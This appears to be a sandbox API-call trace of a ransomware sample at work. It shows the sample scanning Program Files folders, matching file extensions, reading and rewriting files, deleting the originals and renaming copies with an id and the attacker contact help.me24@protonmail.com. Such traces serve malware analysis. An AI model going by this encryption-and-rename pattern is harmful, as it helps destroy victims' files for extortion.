	[0073.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.094] lstrlenW (lpString=".doc") returned 4
	[0073.094] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString=".docx") returned 5
	[0073.094] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.094] lstrlenW (lpString=".pdf") returned 4
	[0073.094] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString=".xls") returned 4
	[0073.094] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString=".xlsx") returned 5
	[0073.094] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.094] lstrlenW (lpString=".ppt") returned 4
	[0073.094] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.094] lstrlenW (lpString=".zip") returned 4
	[0073.094] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString=".rar") returned 4
	[0073.094] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString=".bz2") returned 4
	[0073.094] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString=".7z") returned 3
	[0073.094] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.094] lstrlenW (lpString=".dbf") returned 4
	[0073.094] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.094] lstrlenW (lpString=".1cd") returned 4
	[0073.094] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.094] lstrlenW (lpString=".jpg") returned 4
	[0073.094] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.095] lstrlenW (lpString=".doc") returned 4
	[0073.095] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString=".docx") returned 5
	[0073.095] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.095] lstrlenW (lpString=".pdf") returned 4
	[0073.095] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString=".xls") returned 4
	[0073.095] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString=".xlsx") returned 5
	[0073.095] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.095] lstrlenW (lpString=".ppt") returned 4
	[0073.095] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.095] lstrlenW (lpString=".zip") returned 4
	[0073.095] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString=".rar") returned 4
	[0073.095] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString=".bz2") returned 4
	[0073.095] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString=".7z") returned 3
	[0073.095] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.095] lstrlenW (lpString=".dbf") returned 4
	[0073.095] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.095] lstrlenW (lpString=".1cd") returned 4
	[0073.095] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0073.095] lstrlenW (lpString=".jpg") returned 4
	[0073.095] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.095] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.096] lstrlenW (lpString="delete.avi") returned 10
	[0073.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.098] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=208408) returned 1
	[0073.098] CloseHandle (hObject=0x320) returned 1
	[0073.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0073.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.099] lstrlenW (lpString=".doc") returned 4
	[0073.099] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString=".docx") returned 5
	[0073.099] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0073.099] lstrlenW (lpString=".pdf") returned 4
	[0073.099] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString=".xls") returned 4
	[0073.099] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString=".xlsx") returned 5
	[0073.099] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0073.099] lstrlenW (lpString=".ppt") returned 4
	[0073.099] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.099] lstrlenW (lpString=".zip") returned 4
	[0073.099] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString=".rar") returned 4
	[0073.099] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString=".bz2") returned 4
	[0073.099] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString=".7z") returned 3
	[0073.099] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.099] lstrlenW (lpString=".dbf") returned 4
	[0073.099] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.099] lstrlenW (lpString=".1cd") returned 4
	[0073.099] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.099] lstrlenW (lpString=".jpg") returned 4
	[0073.099] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.100] lstrlenW (lpString=".doc") returned 4
	[0073.100] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString=".docx") returned 5
	[0073.100] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0073.100] lstrlenW (lpString=".pdf") returned 4
	[0073.100] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString=".xls") returned 4
	[0073.100] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString=".xlsx") returned 5
	[0073.100] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0073.100] lstrlenW (lpString=".ppt") returned 4
	[0073.100] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.100] lstrlenW (lpString=".zip") returned 4
	[0073.100] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString=".rar") returned 4
	[0073.100] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString=".bz2") returned 4
	[0073.100] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString=".7z") returned 3
	[0073.100] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.100] lstrlenW (lpString=".dbf") returned 4
	[0073.100] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.100] lstrlenW (lpString=".1cd") returned 4
	[0073.100] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0073.100] lstrlenW (lpString=".jpg") returned 4
	[0073.100] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.101] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.101] lstrlenW (lpString="split.avi") returned 9
	[0073.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.101] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=181964) returned 1
	[0073.101] CloseHandle (hObject=0x320) returned 1
	[0073.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20
	[0073.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.102] lstrlenW (lpString=".doc") returned 4
	[0073.102] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString=".docx") returned 5
	[0073.102] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.102] lstrlenW (lpString=".pdf") returned 4
	[0073.102] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString=".xls") returned 4
	[0073.102] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString=".xlsx") returned 5
	[0073.102] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.102] lstrlenW (lpString=".ppt") returned 4
	[0073.102] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.102] lstrlenW (lpString=".zip") returned 4
	[0073.102] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString=".rar") returned 4
	[0073.102] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString=".bz2") returned 4
	[0073.102] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString=".7z") returned 3
	[0073.102] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.102] lstrlenW (lpString=".dbf") returned 4
	[0073.102] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.102] lstrlenW (lpString=".1cd") returned 4
	[0073.103] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString=".jpg") returned 4
	[0073.103] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString=".doc") returned 4
	[0073.103] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString=".docx") returned 5
	[0073.103] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0073.103] lstrlenW (lpString=".pdf") returned 4
	[0073.103] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString=".xls") returned 4
	[0073.103] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString=".xlsx") returned 5
	[0073.103] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0073.103] lstrlenW (lpString=".ppt") returned 4
	[0073.103] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString=".zip") returned 4
	[0073.103] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString=".rar") returned 4
	[0073.103] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString=".bz2") returned 4
	[0073.103] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString=".7z") returned 3
	[0073.103] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString=".dbf") returned 4
	[0073.103] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString=".1cd") returned 4
	[0073.103] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0073.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0073.103] lstrlenW (lpString=".jpg") returned 4
	[0073.104] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0073.104] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0073.104] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0073.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.109] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1600388) returned 1
	[0073.109] CloseHandle (hObject=0x320) returned 1
	[0073.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0073.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0073.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0073.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0073.109] lstrlenW (lpString=".doc") returned 4
	[0073.109] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0073.109] lstrlenW (lpString=".docx") returned 5
	[0073.109] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0073.109] lstrlenW (lpString=".pdf") returned 4
	[0073.109] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0073.109] lstrlenW (lpString=".xls") returned 4
	[0073.109] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0073.109] lstrlenW (lpString=".xlsx") returned 5
	[0073.109] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0073.109] lstrlenW (lpString=".ppt") returned 4
	[0073.110] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0073.110] lstrlenW (lpString=".zip") returned 4
	[0073.110] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0073.110] lstrlenW (lpString=".rar") returned 4
	[0073.110] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0073.110] lstrlenW (lpString=".bz2") returned 4
	[0073.110] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0073.110] lstrlenW (lpString=".7z") returned 3
	[0073.110] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0073.110] lstrlenW (lpString=".dbf") returned 4
	[0073.110] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0073.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0074.086] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2702) returned 1
	[0074.086] CloseHandle (hObject=0x370) returned 1
	[0074.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20
	[0074.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.726] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15276) returned 1
	[0074.726] CloseHandle (hObject=0x360) returned 1
	[0074.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20
	[0074.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.726] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.727] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.727] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.728] GetLastError () returned 0x0
	[0074.728] ReadFile (in: hFile=0x360, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3bac, lpOverlapped=0x0) returned 1
	[0074.731] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3bb0, lpOverlapped=0x0) returned 1
	[0074.733] ReadFile (in: hFile=0x360, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.733] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xee, lpOverlapped=0x0) returned 1
	[0074.733] SetEndOfFile (hFile=0x358) returned 1
	[0074.733] CloseHandle (hObject=0x358) returned 1
	[0074.734] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.734] SetEndOfFile (hFile=0x360) returned 1
	[0074.735] CloseHandle (hObject=0x360) returned 1
	[0074.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.735] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1
	[0074.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0074.736] lstrlenW (lpString=".doc") returned 4
	[0074.736] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.736] lstrlenW (lpString=".docx") returned 5
	[0074.736] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1
	[0074.736] lstrlenW (lpString=".pdf") returned 4
	[0074.736] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.736] lstrlenW (lpString=".xls") returned 4
	[0074.736] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.736] lstrlenW (lpString=".xlsx") returned 5
	[0074.736] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1
	[0074.736] lstrlenW (lpString=".ppt") returned 4
	[0074.736] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
